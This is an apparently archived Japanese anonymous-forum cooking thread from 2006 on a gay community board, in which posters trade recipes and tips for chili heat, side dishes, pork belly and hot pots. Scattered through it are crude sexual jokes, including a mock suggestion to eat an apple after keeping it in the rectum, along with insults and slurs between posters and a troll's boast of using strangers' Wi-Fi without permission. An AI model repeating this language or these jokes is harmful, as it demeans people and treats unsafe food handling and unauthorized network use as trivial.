249 :陽気な名無しさん:2006/11/03(金) 01:41:44 ID:LbkqRwio
>>246
暖かい出汁で食べたら
ほっとするわよ

あんかけにすれば腹持ちもいいわよ

250 :陽気な名無しさん:2006/11/03(金) 09:33:39 ID:pMkjtirX
>>246
鍋の残り汁に、雑炊代わりとして素麺をバリバリ砕いて入れる! 面白いわよ

251 :陽気な名無しさん:2006/11/03(金) 17:13:36 ID:LbkqRwio
そのままバリバリなんて入れたら、打ち粉と塩でドロドロになっちゃうんじゃない
軽く湯がいて水洗いして〆たものを鍋にシャブシャブしてたべたほうが美味しいわ

252 :陽気な名無しさん:2006/11/03(金) 17:32:46 ID:li/Pm8WN
茄子炒めニュウメンはどう?

ソーメンは茹がいて、丼に入れる。
輪切りにした茄子を、鍋にたっぶりしいたサラダ油で両面焼く。
塩コショーはお好みで。
そこに湯をそそぎ、ダシの素か、鳥ガラスープか、コンソメを少々。
お好みで醤油か魚醤など加え、溶きタマゴを流しこみ、
ふんわりさせたら丼の緬にかけて召し上がれ。
お好みで七味やラーユ、かぼす、レモンなどかけると風味がましてなお美味よ。

253 :陽気な名無しさん:2006/11/03(金) 17:45:03 ID:sJOMJamM
素麺は茹でないで一度揚げてこんがりきつね色になってから茹でるとかたまにやるわ
なんか中国料理の麺の代用品っぽくなるらしいわ

254 :陽気な名無しさん:2006/11/03(金) 20:03:50 ID:L8bkF9du
みんな料理とかしてんの?あたし、恥ずかしいんだけど...

255 :陽気な名無しさん:2006/11/03(金) 20:10:55 ID:PJzxpe/W
ペペロンチーノ作ったんだけど、毎回辛さバラバラで安定しないの…
どうしたらいいの?キッチリ時間計るしかないのかしら。
今日は極辛よ。マヨでごまかしたわ

256 :のんけん:2006/11/03(金) 23:12:37 ID:s7CFfwZw
ホモが作る料理てうまそうな気ガス

257 :陽気な名無しさん:2006/11/03(金) 23:22:22 ID:rdIMw1vv
買ってきた納豆をそのまま冷凍してカチカチになったところで
半分に切った油揚げに入れて楊枝で口を閉めてそのままトースターへ。
おしょう油かけて食べると美味しいわよ!

258 :陽気な名無しさん:2006/11/03(金) 23:27:19 ID:FGApzDy+
唐さがバラバラって毎回同じ量でも?小さじに取るとかしても?
そうでなければ、買うとうがらしをいつも同じにメーカーにしとけば安定する。
知られてないけど、メーカーで全然辛さが違う。
三鷹・本鷹・天鷹とか種類が違うはずだけど、
細かいことは全く書かれてない。
韓国産は一般には日本の唐辛子の6分の1の辛さって言われてるけど、
独特の風味だし、マコーミックは激辛だし、とかね。

259 :和田子 ◆27IQKsN09A :2006/11/03(金) 23:34:14 ID:yirTb2OF
>>255
あら、偶然ね。アタシも今夜はペペロンチーノよ。お味はいつも安定してるわ。
味で差が出るのはパスタを茹でる時の塩加減とチキンやシーフード入れた時の
塩胡椒の案配よね。それさえしっかりしてれば味は安定するはず。最初は量ってても
慣れればもう目分量でOKよ。

260 :陽気な名無しさん:2006/11/03(金) 23:41:59 ID:LbkqRwio
>>257
入れやすいようにだろうけど凍らさなくてもいいんじゃない?
チーズやベーコンなんか入れても美味しそうね

261 :陽気な名無しさん:2006/11/04(土) 00:00:16 ID:pD17yI6H
>>260
あら姐さんいいアイデアよ、それ。
あたしもレシピ見たままじゃなくて創意工夫しなくちゃ、だわ。

262 :陽気な名無しさん:2006/11/04(土) 00:07:26 ID:BJDmsX5k
今晩はこないだまちゃまちゃがTVでやってたカレー作ったわ。
簡単でまあまあおいしかった。
野菜類を揚げ気味にするともっとよかったわ。

263 :陽気な名無しさん:2006/11/04(土) 00:13:41 ID:9mjQbvLu
そうね、料理は最初に本等を見ながら、基本に忠実に。
馴れてきたら、自分なりの創意工夫で味を広げて行けたら楽しいわね。

材料がちょうど足りなくて他で補った時に、より美味しいものが出来た時は嬉しくなるわ。

264 :陽気な名無しさん:2006/11/04(土) 00:15:16 ID:mUBiMe4O
洋食の付けあわせってどうしてる?
ニンジンのグラッセ・茹でたインゲン・粉ふきイモが基本なんだけど
なんか芸がない気がして。

265 :陽気な名無しさん:2006/11/04(土) 00:28:33 ID:mYBcDOFg
タマネギのソテー

266 :陽気な名無しさん:2006/11/04(土) 00:29:43 ID:cuEMoNAR
あたしは温野菜とかサラダに逃げてるわ・・

267 :陽気な名無しさん:2006/11/04(土) 00:36:12 ID:sP9QtPJU
付け合せって量は少なくても、コンロ使ったり、
手間隙は一品料理と一緒だからだったら別にもう一品作る。
てか、ファミレスの常識じゃないの?
メインがしっかりしてればいいんだよ。
そんなものないって文句言うのは、
ここ見てるおかまくらいだよ。

268 :陽気な名無しさん:2006/11/04(土) 00:38:31 ID:bn3bXaXO
ホウレン草のソテー

269 :陽気な名無しさん:2006/11/04(土) 00:53:15 ID:LdXp4/7k
缶詰のコーンとプチトマトで十分でしょ>付け合せ。

270 :陽気な名無しさん:2006/11/04(土) 00:55:49 ID:V2H4ROUT
付け合わせは作り置きや冷凍食品にひと手間加えたくらいのもので十分だわ。
>>267の言うように、むしろもう1品作ってクレソンやパセリ、プチトマトなんかで
飾った方が効率的で、経済的だわ。人参のグラッセなんて手間かかる割に
そんな美味しいものでもないし、残されるのもやだわ。
ビジュアルはやっぱり大事だけどウチは飾るもの無い時は、
ポテチなんかのスナックや適当な野菜をカービングしてでごまかしたりしてるわ。

271 :陽気な名無しさん:2006/11/04(土) 00:58:00 ID:9mjQbvLu
ほうれん草はバターで炒めるの人が多いのかしら。
あたし、バターは苦手だわ。食べた後、口のまわりから
バター臭さが取れないんだもの。
サラダ油でニンニクと炒めるのが美味しくて好きだわ。

272 :陽気な名無しさん:2006/11/04(土) 00:58:32 ID:mYBcDOFg
冷凍3食ミックスベジタブルを小鍋で
溶かしバターの海で煮込んで塩コショーすると美味しいわよ。

273 :陽気な名無しさん:2006/11/04(土) 01:03:53 ID:PPj20Rwq
あたしバターだめなの/園子・スマスマにて

274 :陽気な名無しさん:2006/11/04(土) 01:17:25 ID:TVOdbuqB
あたしはにんにくが苦手。

275 :陽気な名無しさん:2006/11/04(土) 01:20:04 ID:V2H4ROUT
あたしはマンコが苦手。
ってか生理的に受付ないの。

276 :陽気な名無しさん:2006/11/04(土) 01:26:04 ID:TVOdbuqB
チーズ料理の生臭さってどうすれば消えるかしら?

チーズオムレツ作ろうと思って、4種類のとろけるチーズって
いうのを買ったんだけど、仕上がりが生臭かったのよ。

グラタンやトーストにもかけたんだけど、やっぱり臭っちゃう。
買ったチーズが悪いのかしら?


277 :陽気な名無しさん:2006/11/04(土) 02:19:29 ID:xZCIrRXj
>>258
そうね〜目分量だけど、大体同じ量だと思うわ。
でも切り方とか加熱具合で辛さって変わるじゃない?
…ってそもそもの分量が多いのね、多分。
辛さを抽出しきった時に、丁度良い辛さになる量がベストなのかしら。

>>259
ありがとう、でもそういうんじゃなくて
唐辛子をオイルで加熱した時の抽出具合がどうもね。

278 :陽気な名無しさん:2006/11/04(土) 10:25:39 ID:V2H4ROUT
そうね、あなた短時間で辛さを抽出する感じで作っているんじゃない?
オリーブオイルにニンニク、鷹の爪(2つ折か、粗みじん、大きめにね)を超弱火で
火を入れるんじゃなくて、油へはじめに風味を移すのよ。ゆっくり、ゆっくり
辛さ控えめの人はここで鷹の爪をいったん外して、後で飾るのにつかう。
辛めが好きなら、そのままゆで汁入れて乳化するまで火を入れる。
あとはパスタにからるんだけど、鷹の爪は2人前で3本くらいかしら。
アタシは辛いのが好きなので多めに使ったり、
生の唐辛子を夏の間に冷凍保存しているので、火を止めたあと追加したりするわ
(フレッシュな香りが飛ばないようにね)



279 :陽気な名無しさん:2006/11/04(土) 10:35:46 ID:uRh/jkwp
生の唐辛子は冷凍保存したほうがいいのかしら?
あたしちょっと前乾燥でない唐辛子買ってきて窓際に干してるんだけど

280 :陽気な名無しさん:2006/11/04(土) 11:58:57 ID:V2H4ROUT
あぁ、ごめんなさい。アタシが言ってるのは青唐辛子の事よ。
夏に出回る奴。あなたのは赤い熟した今時良く見かけるものね。きっと。
青唐辛子はピーマンの様な香りとみずみずしさがあるのよ。
あまり火を通さないで食べたり、トッピングや薬味に使うと風味がいいの。
赤くなったものも肉厚なものは、甘みがあって美味しいけど、
今時スーパーで良く見かけるものは、干す前の鷹の爪。
干したら、普通に鷹の爪になるだけだし、ちょっと割高だからあまり使わないわ。
最近は中国、タイ産のドライが主流で本当は、自分でやれば美味しいんだろうけど。
でも、アタシは枝ごとドライフラワーみたいにきれいにラッピングして
台所に吊るして、魔除けとインテリアとしてかざってるわ。
魔除けで長く吊るしっぱなしなので、あまりそれを食べたりはしないけど。
長くなってごめんなさい。

281 :陽気な名無しさん:2006/11/04(土) 12:21:45 ID:AUSUX0hq
魔除け!!!??!!??!??!???!!!!!!!
心配だわ・・・

282 :陽気な名無しさん:2006/11/04(土) 13:06:28 ID:V2H4ROUT
あら、ニンニクやハーブだって魔除けにつかうのよ。
まあ、風水ぐらいの意味合いでね。
あなたはやめといた方がいいわよ。
あなた自身が妖怪だし、魔の類いだから、
そんなものおいとくと体調崩すしてひどい目に遭うわよ。



283 :陽気な名無しさん:2006/11/04(土) 13:28:48 ID:AUSUX0hq
>あなた自身が妖怪だし、魔の類いだから

あたしが何のいわれがあってあんたにそんな事言われなきゃいけないのかわかんないわ。
魔除けをしなきゃいけないような家に住んでるあなたのことを心配してあげてるだけなのに。


284 :陽気な名無しさん:2006/11/04(土) 14:40:06 ID:9mjQbvLu
青唐辛子の種は取らなくていいのよね。
気になった今年の夏だったわ。

285 :陽気な名無しさん:2006/11/04(土) 14:43:10 ID:kKnh2YP3
りんごがいっぱいあるから、シナモンで煮てアイスにかけようと思うの。他にあるかしら??

286 :陽気な名無しさん:2006/11/04(土) 14:51:05 ID:BJDmsX5k
>>285 ジャムにして私に届けてほしいわ。

287 :陽気な名無しさん:2006/11/04(土) 14:54:16 ID:zD5UzZjd
>>285
ケツ穴に半日忍ばせといてふやけたのにたっぷりハチミツ垂らして食べると美味だわよ。

288 :陽気な名無しさん:2006/11/04(土) 15:07:58 ID:hbwHTLNV
市販のチリコンカンで美味しいのってあるのかしらね。自分で作るの難しそうだし…

289 :陽気な名無しさん:2006/11/04(土) 15:13:38 ID:zD5UzZjd
関西で、チリコンカンは
千里山=関西大
甲南大
関西学院だわよ。

290 :陽気な名無しさん:2006/11/04(土) 15:15:24 ID:Agf49H1h
焼き林檎にすれば?
バター、砂糖、シナモンで炒める。


291 :陽気な名無しさん:2006/11/04(土) 15:19:36 ID:zD5UzZjd
林檎って見た目真っ赤なのにジュースにすると白濁した色になるのは何故かしら?

292 :陽気な名無しさん:2006/11/04(土) 15:23:05 ID:Agf49H1h
そんなこといったらスイカだって見た目は緑と黒なのに
ジュースにすると真っ赤よw

293 :陽気な名無しさん:2006/11/04(土) 15:39:15 ID:yv0h1UQ0
仮性包茎のおちんちんだって、皮を剥いたらピンクなのに
果汁は白いわ

294 :陽気な名無しさん:2006/11/04(土) 15:43:08 ID:zD5UzZjd
卓球とかテニスはジュースにすると興奮するわ。

295 :陽気な名無しさん:2006/11/04(土) 16:08:40 ID:dSre+TUM
ID:zD5UzZjd = 松子 = エルメス由実


スルーしてください。

296 :陽気な名無しさん:2006/11/04(土) 17:20:21 ID:kKnh2YP3
焼き林檎とジャム作ったわ!おかげで色々なくなったわよん

297 :陽気な名無しさん:2006/11/04(土) 17:47:36 ID:V2H4ROUT
色々って、何が無くなったの
焼き林檎うまそうだわ

298 :陽気な名無しさん:2006/11/04(土) 18:06:07 ID:Os3c+PAh
サツマイモと豆をオレンジ果汁で煮てみたの。
これが上品な甘さで美味なのよ。
弁当のアクセントになるし、常備菜としても重宝しそうよ。

299 :陽気な名無しさん:2006/11/04(土) 18:21:09 ID:nkS39LPD
レモン煮はよくきくけどオレンジ煮は初めてきいたわ
甘くておいしそうね。

300 :陽気な名無しさん:2006/11/04(土) 18:35:14 ID:Os3c+PAh
昨日はネーブル使ったんだけど、オレンジの種類変えても楽しめそうだわ。

301 :陽気な名無しさん:2006/11/04(土) 18:48:02 ID:9mjQbvLu
サツマイモのレモン煮と言えば、向田邦子の定番料理だったわね。

302 :陽気な名無しさん:2006/11/04(土) 19:49:38 ID:KNBr2tVD
美味しそうね。ちょっと、
誰か招待してよ、招待して下さい、招待してホシス

303 :陽気な名無しさん:2006/11/04(土) 21:26:17 ID:Rh9x2kzz
>302
ずいぶんとがっついてんのね、アンタ。
でも可愛いワ。

304 :陽気な名無しさん:2006/11/04(土) 22:44:35 ID:V2H4ROUT
でも招待してあげないのね

305 :陽気な名無しさん:2006/11/05(日) 12:32:28 ID:2iUaD4u9
あら、招待状がないわ。
料理の腕に自信あるお姉さんいないかしら。スィーツなんかパートナーの人に
振る舞うのね。あたし、パートナーさんを試食したりしないから安心して。

306 :陽気な名無しさん:2006/11/05(日) 14:37:52 ID:lnQ2fKOV
>>305
そうね、ウチの相方は面食いだから貴女なら心配ないわね

307 :陽気な名無しさん:2006/11/05(日) 17:32:38 ID:2iUaD4u9
面食いってどんな人がタイプかしら?
作る過程も好きなのよ。

308 :陽気な名無しさん:2006/11/05(日) 18:24:55 ID:lnQ2fKOV
アンタそれ以上つっこむと殺すわよ

309 :陽気な名無しさん:2006/11/05(日) 18:34:49 ID:7jKD70uw
姐さん達面白杉!

310 :陽気な名無しさん:2006/11/05(日) 18:54:01 ID:jGCKGwkR
まだまだこんなもんじゃないわ。

311 :陽気な名無しさん:2006/11/05(日) 19:20:36 ID:2iUaD4u9
招待どこか殺されそう。突っ込むのは彼処だけにしとくわ。
じゃ、うちのキッチンで作るっていうのはどうかしら?

312 :陽気な名無しさん:2006/11/05(日) 22:04:16 ID:lnQ2fKOV
アンタ話題の引き際がわからないから、もてないんじゃない


313 :陽気な名無しさん:2006/11/05(日) 22:42:28 ID:PaQLfjFM
ちょっとスレ違いよ!!

314 :陽気な名無しさん:2006/11/05(日) 23:10:50 ID:+nz2Q2xN
最近カジキの切り身をよく使うよ。
骨がなくて食べやすいし、高たんぱく低カロリーで言うことなし。
ムニエルにしても塩焼きにしてもおいしい。

315 :陽気な名無しさん:2006/11/06(月) 00:05:53 ID:lnQ2fKOV
そお、あたしはパサパサして、カジキやサメは好きになれないわ
脂ののったカレイやタラなんかの白身の方が煮て良し焼いて良し、
鯖や秋刀魚の背の青い魚も脂は体にいいし美味しく感じちゃうわ。
今は、金目の煮付けが食べたいわ。目玉のゼラチン質をチュルッとね。

316 :陽気な名無しさん:2006/11/06(月) 00:16:25 ID:N7xihO0c
ものの言い方を知らない馬鹿釜。
あんたが何を好きだろうがどうでもいいが、
人様が美味しく食べているものを貶す必要はないだろうが。

317 :陽気な名無しさん:2006/11/06(月) 00:19:37 ID:6HK8Yuy2
子供の頃はカジキマグロの煮付けをよく食べてたわ。
その頃はマグロの1種だと思ってたけど。

318 :陽気な名無しさん:2006/11/06(月) 00:58:02 ID:ywbZaRsx
あたしもマグロばっかよ。今でも、親が漁師で港が近いの。

319 :陽気な名無しさん:2006/11/06(月) 01:13:52 ID:yTMep8h2
さて、豚バラ500gをどう料理しようかしら?
角煮じゃベタよね〜。


320 :陽気な名無しさん:2006/11/06(月) 01:16:00 ID:oOmaUC+3
>>316
アンタの方が口の聞き方知らない糞釜だとおもうわ。
貶すってほど触れてないのに、やっぱりDHAが足りてないから
頭悪いのね。青魚もやマグロの赤味以外も食べなさい。

321 :陽気な名無しさん:2006/11/06(月) 01:16:31 ID:7S7gvcmA
ぶつ切りにして5時間茹でてカレーに使った友達を思いだしたわ >豚バラ500g
その友達は豚バラ2キロ買ってきたんだけどね、美味しかったわ

322 :陽気な名無しさん:2006/11/06(月) 01:19:31 ID:yTMep8h2
>>321
ニキロってすごいわ!
大人数で召し上がったのかしら?

323 :陽気な名無しさん:2006/11/06(月) 01:21:07 ID:N7xihO0c
>>320
おお恐い。良心の呵責かな。目玉チュルチュル釜。

324 :陽気な名無しさん:2006/11/06(月) 01:29:41 ID:7S7gvcmA
>>322
大学時代のことよ。友達5〜6人集めて作ってくれたの。
野菜は人参ぶつ切り(1本を縦にざっくり四等分)を5本くらいだけなの。
ま〜ノンケ男の料理って豪快だわ〜〜〜と思いつつ、「うめーな」とか無理して言って
美味しく頂きました(懐かしいわ)。

325 :陽気な名無しさん:2006/11/06(月) 01:40:03 ID:oOmaUC+3
それは、美味かったの?それとも無理してたの?
なんか楽しそうだわ。
豚のバラ肉って美味いわよね。
3mm位の厚切りにしてニンニクの芽とオイスターソース炒めにしたり
串焼きなんかにも良くするけど、やっぱり角煮が一番多いわ。
大量に作って小分けにして保存すれば、角煮丼や煮汁も加えてラーメンの具にも使えるし
チャーハンや炊き込みご飯にも使えるからやっぱり便利だわ。


326 :陽気な名無しさん:2006/11/06(月) 01:40:08 ID:yTMep8h2
>>324
あら、そういうことね。なんかほのぼのとしていいわね〜。


327 :陽気な名無しさん:2006/11/06(月) 01:41:55 ID:N7xihO0c
>美味しく頂きました

328 :陽気な名無しさん:2006/11/06(月) 01:44:24 ID:ulL+Xym+
もうちょっと、寒くなってきたら鍋が美味しくなるわね。っていうか、今年は暑くない?
まあ、今日、鱈、白子、蛎の鍋で一足先に冬の味覚を味わってみたわ。

329 :陽気な名無しさん:2006/11/06(月) 01:44:58 ID:7S7gvcmA
>>325
あ、誤解を与えるようなコト書いちゃったわ、ごめんなさい。
とても美味しくて「きゃ〜美味しいわ〜〜」って言いたかったんだけど
男振って「うめーな」なんて無理して言ってたのよ〜、ということです。

330 :陽気な名無しさん:2006/11/06(月) 01:46:49 ID:/NCreW3G
豪勢な鍋ね。
私も明日鍋の予定だけど、安価なもつ鍋よ・・・


331 :陽気な名無しさん:2006/11/06(月) 01:55:22 ID:ywbZaRsx
もつ鍋いいわね!あたし大好きよ〜鍋やった後は雑炊が基本だったけど、最近はうどんだわ。

332 :陽気な名無しさん:2006/11/06(月) 01:58:07 ID:ulL+Xym+
鍋はいいわよね。去年の冬、晩御飯はずっと水炊きにしてたら3キロ痩せたわ。
野菜も肉もバランス良くとれるし満腹感があるしお勧めね。ところで闇鍋ってやったことある?


333 :陽気な名無しさん:2006/11/06(月) 02:01:33 ID:oOmaUC+3
その分、下処理なんかでモツは手がかかるから、大変よね。
アタシはお店でしか食べた事無いわ。
鍋っていつも材料が微妙に余ってしまうわ。
切り分けたものなんかだと使い道無くて、
翌朝も残りのものでショボイ鍋か八宝菜ってパターンだわ。
一度、気合い入れた時は葛きり揚げて、そこに八宝菜かけて
なんちゃって堅焼きソバ作ったけど、葛きりは失敗だったわ。
そうめんでも揚げれば良かった。


334 :陽気な名無しさん:2006/11/06(月) 02:03:36 ID:N7xihO0c
闇鍋って、漫画でしか見たことがないよ…

335 :陽気な名無しさん:2006/11/06(月) 02:04:24 ID:yTMep8h2
ヤミナベやったわ!
とりあえずジェリービーンズと人形焼きが酷かったわ

336 :陽気な名無しさん:2006/11/06(月) 02:07:52 ID:oOmaUC+3
タコ丸ごとは、何気にラッキーだったわ

337 :陽気な名無しさん:2006/11/06(月) 02:08:02 ID:6HK8Yuy2
市販水餃子に芝麻醤系ソースをかけて
茹でた小松菜もソースにからめて一緒に食べるわ。

338 :陽気な名無しさん:2006/11/06(月) 02:12:15 ID:N7xihO0c
人形焼で思い出した。たしかに学生時代にやったよ。
でもあれって、どういう状況でやったのか覚えていない。
暗くしていたんだろうけど、
そんな暗闇の中なら、鍋突付くより他にもっとすべきことがあったような。
…失礼。

339 :陽気な名無しさん:2006/11/06(月) 02:13:57 ID:WDhnnNVq
アタシも土曜日は水炊きだったわ。
最後は、細めのうどん入れて、カボス、ゆず胡椒、万能葱、しょうゆ胡麻で食べたわ。
白菜と春菊、葱、椎茸が食べ切れないと思うくらい用意したんだけど、
ぺろりと平らげてしまったわ。
鍋はいいわよね。

340 :陽気な名無しさん:2006/11/06(月) 02:16:50 ID:ulL+Xym+
闇鍋面白いわのよね。あたしはオカマらしくバナナ入れといたわ。
姐さんたち、オススメの変わりダネ鍋ってある?

341 :陽気な名無しさん:2006/11/06(月) 02:20:30 ID:yTMep8h2
豆乳鍋とかかしら?
普通に美味しいわん

342 :ないちん =^_^=:2006/11/06(月) 12:52:12 ID:dDfqxCF0
みゃう。

ないちんはいま、5丁目の、
かまもすに、いるな。復活したのだな。ないちんは、
保健所に連行され、殺されそうになったな。しかし、
脱走してきたのだな。

みゃう。(脱走)

343 :ないちん =^_^=:2006/11/06(月) 12:53:07 ID:dDfqxCF0
みゃあああああう!!!(復活!!)

344 :ないちん =^_^=:2006/11/06(月) 12:53:45 ID:dDfqxCF0
ファーストフードのすれも、
なくなってしまったな。これからはこのすれを、
心置きなく、使うことが出来るな。

みゃう。(心置きなく)

345 :名無しでなんなのさ:2006/11/06(月) 12:54:44 ID:oyf7NH/Z
ボッタクリのビーナス誕生

346 :ないちん =^_^=:2006/11/06(月) 13:22:15 ID:RuyWa95C
みゃう。(ビーナス)

347 :陽気な名無しさん:2006/11/06(月) 14:29:13 ID:ku9xSxfJ

同性愛サロン板、最も痛い住人を決めるのよ!その4
http://www.37vote.net/2kote/1160529793/


348 :ないちん =^_^=:2006/11/06(月) 15:33:18 ID:2uAONREh
スタバだな。
新宿だと他人の無線LANを、
勝手に使って書き込みができるから、いいな。

みゃう。(勝手に)

349 :ないちん =^_^=:2006/11/06(月) 15:35:46 ID:2uAONREh
これから、
ないちんは、東方見聞録に行くかもしれないな。
雨の日は、
サワーが無料になるから、だな。

東方見聞録は、
照明の暗い隠れ家的な居酒屋だな。ないちんは、ねこだな。ねこは、
暗がりに隠れるのが、すきなのだな。

みゃう。(隠れ家)

350 :ないちん =^_^=:2006/11/06(月) 16:16:11 ID:auBYpQy7
しかし、
ないちんとしては、自宅で、
そばを茹でたい気もするのだな。日本製粉の、
show room で、
難消化性でんぷんというものを使用した、
怪しい蕎麦を買ったから、だな。

みゃう。(怪しい)

351 :ないちん =^_^=:2006/11/06(月) 16:16:49 ID:auBYpQy7
日本製粉が、
代々木にあるのには驚いたな。

みゃう。(驚き)

352 :陽気な名無しさん:2006/11/06(月) 16:56:26 ID:MRkCRtQv
難消化性でんぷんで思いっきり下痢してください

353 :陽気な名無しさん:2006/11/06(月) 17:10:37 ID:6HK8Yuy2
最悪の事態だわ

354 :陽気な名無しさん:2006/11/06(月) 17:12:39 ID:/NCreW3G
スレ潰し名人が来たわね・・・

355 :陽気な名無しさん:2006/11/06(月) 17:26:34 ID:qmqLHeAS
つーかジャンクフードばっかくってる味覚音痴のデブが料理スレになにしにきてるの???
しかもなにが「みゃう」よ???「みゃう」ってかいてる時の顔一度鏡で見てみたら???
女装も二個糞も死んだし、もうあんたみたいな基地外キャラはやんないのよ。いつまでうだつの上がんない芸人みたいなことしてんの???

ばーかw

356 :陽気な名無しさん:2006/11/06(月) 18:17:58 ID:XVCeId9Y
糞コテの相手をしてはいけません

357 :陽気な名無しさん:2006/11/06(月) 19:56:10 ID:oOmaUC+3
書くレスがすべてスレ違いと言うのも相当なあらし

358 :陽気な名無しさん:2006/11/06(月) 20:07:40 ID:ppoPFO9+
NGワード推奨

359 :陽気な名無しさん:2006/11/06(月) 20:16:38 ID:N7xihO0c
みゃう。

360 :ないちん =^_^=:2006/11/06(月) 20:41:02 ID:WheF4wSn
>>355
今日は、
シングルモルトウイスキー山崎を飲んだな。香りは、
エステリー(甘く華やか)だな。

ないちんのバディーも、
エステリーだな。君も試してみい?

みゃう。(エステリー(甘く華やか))

361 :ないちん =^_^=:2006/11/06(月) 20:44:00 ID:WheF4wSn
>>353
今日は、池袋の、
養老の瀧本社にも言ってきたな。1階が、
だんまや水産だな。
養老の瀧には、安心感があるな。

みゃう。(養老)

362 :ないちん =^_^=:2006/11/06(月) 20:46:39 ID:WheF4wSn
>>356
今日の、
あかばた新聞の我が家のペットは、
17歳のねこだったな。歯が抜けている老ねこだな。
飼い主が市議なので、
日本共産党が強くなると、ご褒美に、
刺身をもらえるそうだな。

みゃう。(より強大な党)

363 :ないちん =^_^=:2006/11/06(月) 21:47:08 ID:WheF4wSn
もつ鍋だの、
レバーだのが、ないちんがいない間にはやっているな。なかなか、
良い展開だな。

これらには、
厚生物質等の毒物が、たっぷりと、詰まっているのだな。

みゃう。(毒物の宝庫)

364 :ないちん =^_^=:2006/11/06(月) 21:48:45 ID:WheF4wSn
オムライスも、
流行っていたようだな。ないちんも、食べたくなったな。卵は、
森の卵だな。

みゃう。(森の卵)

白身は、
極力捨てているな。どうせ消化しきれないから、だな。

365 :陽気な名無しさん:2006/11/06(月) 23:20:11 ID:oOmaUC+3
頭悪!

366 :ないちん =^_^=:2006/11/07(火) 05:09:29 ID:cO7hlSHt
また、
酒を飲んでいるな。ないちんはある中なのだな。
トリスのハーフ・ロック・ソーダだな。

みゃう。(また)

367 :ないちん =^_^=:2006/11/07(火) 11:44:47 ID:1PIB6Y7s
お金がなくなってしまったので、
図書館に来たな。これから、
料理の本を見るかもしれないな。

368 :ないちん =^_^=:2006/11/07(火) 11:45:54 ID:1PIB6Y7s
今日は、
ジョギングでもして食事の量を減らしたいものだな。ないちんは、
エステリー(甘く華やか)なバディーを、
維持したいのだな。

みゃう。(エステリー)

369 :ないちん =^_^=:2006/11/07(火) 18:11:07 ID:PislNTtE
みゃう。

今日も、
ジョギングが出来なかった。これから、
やるかも試練。

みゃう。(試練)

370 :陽気な名無しさん:2006/11/07(火) 18:57:39 ID:u55NXXfr
>364
ないちんには、この卵で十分よ!

970:陽気な名無しさん :2006/11/07(火) 17:46:19 ID:Lr3I5Zqy [sage]
http://imepita.jp/trial/20061107/639450

371 :ないちん =^_^=:2006/11/07(火) 20:24:45 ID:zRFu6L+o
今日は、
たぬき(オールド)を飲んでいるな。シェリー樽の香りが、
華やかだな。ないちんの、
わき毛と同じ匂いだな。

みゃう。(シェリー)

372 :陽気な名無しさん:2006/11/07(火) 21:03:28 ID:6JMCrf/z
いやん、昨日から煮てる豚バラとモヤシ、キャベツで炒めもの作るわ。
最後に煮汁にトロミつけてあんかけ風にするの

373 :陽気な名無しさん:2006/11/07(火) 21:53:34 ID:YWTi/jzz
今日は寒いから、あんかけ物は体が温まっていいわね。


あたしは餃子作るんだけど、うっかりしてキャベツが足りなくなりそうだわ。
キャベツが足りない場合、チンゲンサイでも美味しく出来るかしら……。
あと野菜は小松菜くらいしかないのよ。汗

374 :陽気な名無しさん:2006/11/07(火) 22:06:49 ID:n+mq0ByN
あたしは今日は人参とこんにゃくと牛蒡の煮物と鶏肉のグリルだわ
ほんとは鶏肉も煮物に入れるつもりだったんだけど、品数を増やすために分けたわw
根菜はやっぱいいわね・・・テレビでやってた牛蒡の大つくね作ってみたいわ
蓮根でもいけそう

375 :(*゚ー゚)ようこ:2006/11/07(火) 22:11:22 ID:Ffey0bJC
今日はウニ丼よ

376 :陽気な名無しさん:2006/11/07(火) 22:13:52 ID:OLlsFhat
今日久々に料理したのよ。
チュニジア風の鶏のマリネ焼き。チュニジアの、マリなんたらっていう料理。
以前テレビで現地のレストランが出てて、これは是非作ってみたいと前々から思っていたの。

ネットで検索してみたけど、レモン汁が足らなかったから白ワインビネガーも入れてみたの。
あと、母が「これも使って」といってじゃがいもとにんじんも。
それと、父が「早くしてくれ」というからマリネードの時間も焼き時間も大幅短縮。

…最悪だったわ。前半十分くらい無言が支配したわ。食卓が凍ったわ。
ビネガーが抜け切れてなくて、湯気だけでむせる勢い。
よく火が通ってなくてにんじんがゴジゴジ。
大量のスライス玉ねぎも、透明になってるだけで色づいてなくてなんかマズい。

やっぱ料理はレシピ通りじゃなくちゃね。。よっぽど料理上手じゃない限り。
あ、鶏肉に塗りこむマスタードを、酸味の強い粒マスタードで代用したのも失敗の一因ね。
ハーブ数種類も、入れるタイミングが悪かったのか色が変わって香りもしなくて存在感ゼロだったし。

はあっ…涙が出そう。
でも彼氏に振舞ったものじゃなくてよかったわ。

377 :陽気な名無しさん:2006/11/07(火) 22:22:09 ID:kPB9G2t0
>>373
チンゲンサイで大丈夫だお!
白菜でも大丈夫だお!
小松菜でも大丈夫だお!
青物野菜が多すぎると独特の渋みが出るから気を付けるんだお!
茎を使って葉は他のものに使ってもいいお!

餃子は野菜類を絞りすぎないように適度に絞るんだお!
ジューシー餃子だお!

378 :陽気な名無しさん:2006/11/07(火) 22:22:44 ID:6JMCrf/z
やっぱりレシピは重要ね。
っていうか、せめて一回目はレシピ通りに作りなさいよ〜。



今日は角煮がうますぎて、結局全部喰ってしまったわ。
明らかに食い過ぎよ。

379 :ないちん =^_^=:2006/11/07(火) 22:26:27 ID:Q0/fT2QH
みゃう。

確かに、そんなものを食わされなかったので、
ないちんは、ラッキーだな。

みゃう。(ラッキー)

380 :ないちん =^_^=:2006/11/07(火) 22:28:18 ID:Q0/fT2QH
>>378
角煮は、
炊飯器で作ると手軽そうだな。
酒に漬け込んでおけば、
煮込みの時間も短くて住みそうだな。奄美は、
味の母だな。

やっと、
漢料理のすれでも話題になっていたな。(#゚Д゚)オラー!

381 :陽気な名無しさん:2006/11/07(火) 22:29:02 ID:OLlsFhat
>>378
返す言葉もないわ。
勢いだけで作っちゃったもの。
そもそも、食べた事もないのにね。
反省よ。

でも今さっき、大量に余った分を、さらに玉ねぎが色づくくらいに炒めて他の具材とあわせて
しばらく蒸し焼きにしたら、味が調って美味しくなってたわ。少しだけ救われたわ。。

382 :陽気な名無しさん:2006/11/07(火) 22:30:43 ID:OLlsFhat
核煮は泡盛につけるのよ。

383 :陽気な名無しさん:2006/11/07(火) 22:33:07 ID:MlVbpsEj
そのチキンとタマネギその他、まだ残ってたらまとめて
缶入りトマト(なければケチャップ)と合わせて煮込んだら
美味しく食べられそうだわ

384 :陽気な名無しさん:2006/11/07(火) 22:38:53 ID:OLlsFhat
>>383
トマトはアタシも考えたのよ。
でもまだビネガー臭がひどくて酸味もすごいの。トマトいれて大丈夫かしら…

